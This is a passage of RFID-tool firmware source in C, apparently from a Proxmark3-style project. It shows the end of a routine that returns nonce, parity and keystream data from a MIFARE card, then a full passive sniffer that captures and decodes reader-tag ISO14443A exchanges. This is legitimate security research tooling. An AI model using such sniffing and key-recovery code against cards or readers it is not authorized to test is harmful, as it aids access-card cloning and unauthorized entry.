2430 FpgaDisableTracing();
2431
2432 uint8_t buf[32];
2433 memcpy(buf + 0, uid, 4);
2434 num_to_bytes(nt, 4, buf + 4);
2435 memcpy(buf + 8, par_list, 8);
2436 memcpy(buf + 16, ks_list, 8);
2437 memcpy(buf + 24, mf_nr_ar, 8);
2438
2439 cmd_send(CMD_ACK, isOK, 0, 0, buf, 32);
2440
2441 // Thats it...
2442 FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
2443 LEDsoff();
2444
2445 set_tracing(false);
2446}
2447
2448
2449//-----------------------------------------------------------------------------
2450// MIFARE sniffer.
2451//
2452//-----------------------------------------------------------------------------
2453void RAMFUNC SniffMifare(uint8_t param) {
2454 // param:
2455 // bit 0 - trigger from first card answer
2456 // bit 1 - trigger from first reader 7-bit request
2457
2458 // C(red) A(yellow) B(green)
2459 LEDsoff();
2460 LED_A_ON();
2461
2462 // init trace buffer
2463 clear_trace();
2464 set_tracing(true);
2465
2466 // The command (reader -> tag) that we're receiving.
2467 // The length of a received command will in most cases be no more than 18 bytes.
2468 // So 32 should be enough!
2469 uint8_t receivedCmd[MAX_MIFARE_FRAME_SIZE];
2470 uint8_t receivedCmdPar[MAX_MIFARE_PARITY_SIZE];
2471 // The response (tag -> reader) that we're receiving.
2472 uint8_t receivedResponse[MAX_MIFARE_FRAME_SIZE];
2473 uint8_t receivedResponsePar[MAX_MIFARE_PARITY_SIZE];
2474
2475 iso14443a_setup(FPGA_HF_ISO14443A_SNIFFER);
2476
2477 // free eventually allocated BigBuf memory
2478 BigBuf_free();
2479 // allocate the DMA buffer, used to stream samples from the FPGA
2480 uint8_t *dmaBuf = BigBuf_malloc(DMA_BUFFER_SIZE);
2481 uint8_t *data = dmaBuf;
2482 uint8_t previous_data = 0;
2483 int maxDataLen = 0;
2484 int dataLen = 0;
2485 bool ReaderIsActive = false;
2486 bool TagIsActive = false;
2487
2488 // Set up the demodulator for tag -> reader responses.
2489 DemodInit(receivedResponse, receivedResponsePar);
2490
2491 // Set up the demodulator for the reader -> tag commands
2492 UartInit(receivedCmd, receivedCmdPar);
2493
2494 // Setup for the DMA.
2495 FpgaSetupSscDma((uint8_t *)dmaBuf, DMA_BUFFER_SIZE); // set transfer address and number of bytes. Start transfer.
2496
2497 // init sniffer
2498 MfSniffInit();
2499
2500 // And now we loop, receiving samples.
2501 for(uint32_t sniffCounter = 0; true; ) {
2502
2503 if(BUTTON_PRESS()) {
2504 DbpString("Canceled by button.");
2505 break;
2506 }
2507
2508 WDT_HIT();
2509
2510 if ((sniffCounter & 0x0000FFFF) == 0) { // from time to time
2511 // check if a transaction is completed (timeout after 2000ms).
2512 // if yes, stop the DMA transfer and send what we have so far to the client
2513 if (MfSniffSend(2000)) {
2514 // Reset everything - we missed some sniffed data anyway while the DMA was stopped
2515 sniffCounter = 0;
2516 data = dmaBuf;
2517 maxDataLen = 0;
2518 ReaderIsActive = false;
2519 TagIsActive = false;
2520 FpgaSetupSscDma((uint8_t *)dmaBuf, DMA_BUFFER_SIZE); // set transfer address and number of bytes. Start transfer.
2521 }
2522 }
2523
2524 int register readBufDataP = data - dmaBuf; // number of bytes we have processed so far
2525 int register dmaBufDataP = DMA_BUFFER_SIZE - AT91C_BASE_PDC_SSC->PDC_RCR; // number of bytes already transferred
2526 if (readBufDataP <= dmaBufDataP){ // we are processing the same block of data which is currently being transferred
2527 dataLen = dmaBufDataP - readBufDataP; // number of bytes still to be processed
2528 } else {
2529 dataLen = DMA_BUFFER_SIZE - readBufDataP + dmaBufDataP; // number of bytes still to be processed
2530 }
2531 // test for length of buffer
2532 if(dataLen > maxDataLen) { // we are more behind than ever...
2533 maxDataLen = dataLen;
2534 if(dataLen > (9 * DMA_BUFFER_SIZE / 10)) {
2535 Dbprintf("blew circular buffer! dataLen=0x%x", dataLen);
2536 break;
2537 }
2538 }
2539 if(dataLen < 1) continue;
2540
2541 // primary buffer was stopped ( <-- we lost data!
2542 if (!AT91C_BASE_PDC_SSC->PDC_RCR) {
2543 AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) dmaBuf;
2544 AT91C_BASE_PDC_SSC->PDC_RCR = DMA_BUFFER_SIZE;
2545 Dbprintf("RxEmpty ERROR!!! data length:%d", dataLen); // temporary
2546 }
2547 // secondary buffer sets as primary, secondary buffer was stopped
2548 if (!AT91C_BASE_PDC_SSC->PDC_RNCR) {
2549 AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t) dmaBuf;
2550 AT91C_BASE_PDC_SSC->PDC_RNCR = DMA_BUFFER_SIZE;
2551 }
2552
2553 if (sniffCounter & 0x01) {
2554
2555 if(!TagIsActive) { // no need to try decoding tag data if the reader is sending
2556 uint8_t readerdata = (previous_data & 0xF0) | (*data >> 4);
2557 if(MillerDecoding(readerdata, (sniffCounter-1)*4)) {
2558
2559 if (MfSniffLogic(receivedCmd, Uart.len, Uart.parity, Uart.bitCount, true)) break;
2560
2561 /* And ready to receive another command. */
2562 UartInit(receivedCmd, receivedCmdPar);
2563
2564 /* And also reset the demod code */
2565 DemodReset();
2566 }
2567 ReaderIsActive = (Uart.state != STATE_UNSYNCD);
2568 }
2569
2570 if(!ReaderIsActive) { // no need to try decoding tag data if the reader is sending
2571 uint8_t tagdata = (previous_data << 4) | (*data & 0x0F);
2572 if(ManchesterDecoding(tagdata, 0, (sniffCounter-1)*4)) {
2573
2574 if (MfSniffLogic(receivedResponse, Demod.len, Demod.parity, Demod.bitCount, false)) break;
2575
2576 // And ready to receive another response.
2577 DemodReset();
2578 // And reset the Miller decoder including its (now outdated) input buffer
2579 UartInit(receivedCmd, receivedCmdPar);
2580 }
2581 TagIsActive = (Demod.state != DEMOD_UNSYNCD);
2582 }
2583 }
2584
2585 previous_data = *data;
2586 sniffCounter++;
2587 data++;
2588 if(data == dmaBuf + DMA_BUFFER_SIZE) {
2589 data = dmaBuf;
2590 }
2591
2592 } // main cycle
2593
2594 FpgaDisableTracing();
2595 FpgaDisableSscDma();
2596 LEDsoff();
2597
2598 DbpString("COMMAND FINISHED.");
2599
2600 MfSniffEnd();
2601
2602 Dbprintf("maxDataLen=%x, Uart.state=%x, Uart.len=%x", maxDataLen, Uart.state, Uart.len);
2603}
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